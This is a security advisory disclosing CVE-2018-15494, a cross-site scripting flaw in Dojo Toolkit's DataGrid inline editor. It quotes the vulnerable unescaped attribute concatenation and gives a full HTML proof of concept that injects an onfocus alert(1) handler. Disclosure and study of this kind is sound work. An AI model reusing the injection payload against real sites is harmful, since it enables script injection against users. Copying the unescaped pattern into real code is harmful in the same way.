`Advisory ID: SYSS-2018-010
Product: Dojo Toolkit
Manufacturer: JS Foundation
Affected Version(s): 1.13
Tested Version(s): 1.13, 1.10.7
Vulnerability Type: Cross-Site Scripting (CWE-79)
Risk Level: Medium
Solution Status: Fixed
Manufacturer Notification: 2018-07-02
Solution Date: 2018-10-13
Public Disclosure: 2018-10-24
CVE Reference: CVE-2018-15494
Author of Advisory: Moritz Bechler, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
Dojo Toolkit is a JavaScript framework for building JavaScript based
applications.
The manufacturer describes the product as follows (see [1]):
"A JavaScript toolkit that saves you time and scales with your
development process.
Provides everything you need to build a Web app.
Language utilities, UI components, and more, all in one place, designed
to work together perfectly."
Due to improper escaping, applications using Dojo Toolkit may be
vulnerable to
cross-site scripting.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The inline editing feature of the dojox.grid.DataGrid component fails to
properly
escape the cell value when using it as the input field's value attribute
while
editing is activated by clicking.
> formatEditing: function(inDatum, inRowIndex){
> this.needFormatNode(inDatum, inRowIndex);
> return '<input class="dojoxGridInput" type="text" value="' +
inDatum + '">';
> },
That allows additional element attributes to be introduced, including an
"onfocus"
handler that will immediately get executed when editing mode is activated.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof-of-Concept (PoC):
Demo website with Dojo's dojox.grid.DataGrid component:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<style type="text/css">
@import
"https://ajax.googleapis.com/ajax/libs/dojo/1.13.0/dojox/grid/resources/Grid.css";
html, body {
width: 100%; height: 100%;
}
</style>
</head>
<body>
<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/dojo/1.13.0/dojo/dojo.js"></script>
<script type="text/javascript">
dojo.require("dojox.grid.DataGrid");
dojo.require("dojo.data.ItemFileWriteStore");
dojo.addOnLoad(function(){
var g = new dojox.grid.DataGrid({
store: new dojo.data.ItemFileWriteStore({
data: {"items" : [ {"foo" : 'bar" onfocus="alert(1)"'} ] }
}),
structure: [
{ field: 'foo', width : '100%', editable: true }
]
});
dojo.byId("container").appendChild(g.domNode);
g.startup();
});
</script>
<div id="container" style="width: 100%; height: 100%;"></div>
</body>
</html>
When clicking the table row to start editing, the cell value is inserted
into a
text input's value attribute without proper escaping, resulting in
markup like
<input class="dojoxGridInput" value="bar" onfocus="alert(1)" "=""
type="text">
which introduces JavaScript code in the "onfocus" handler that gets
immediately
executed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
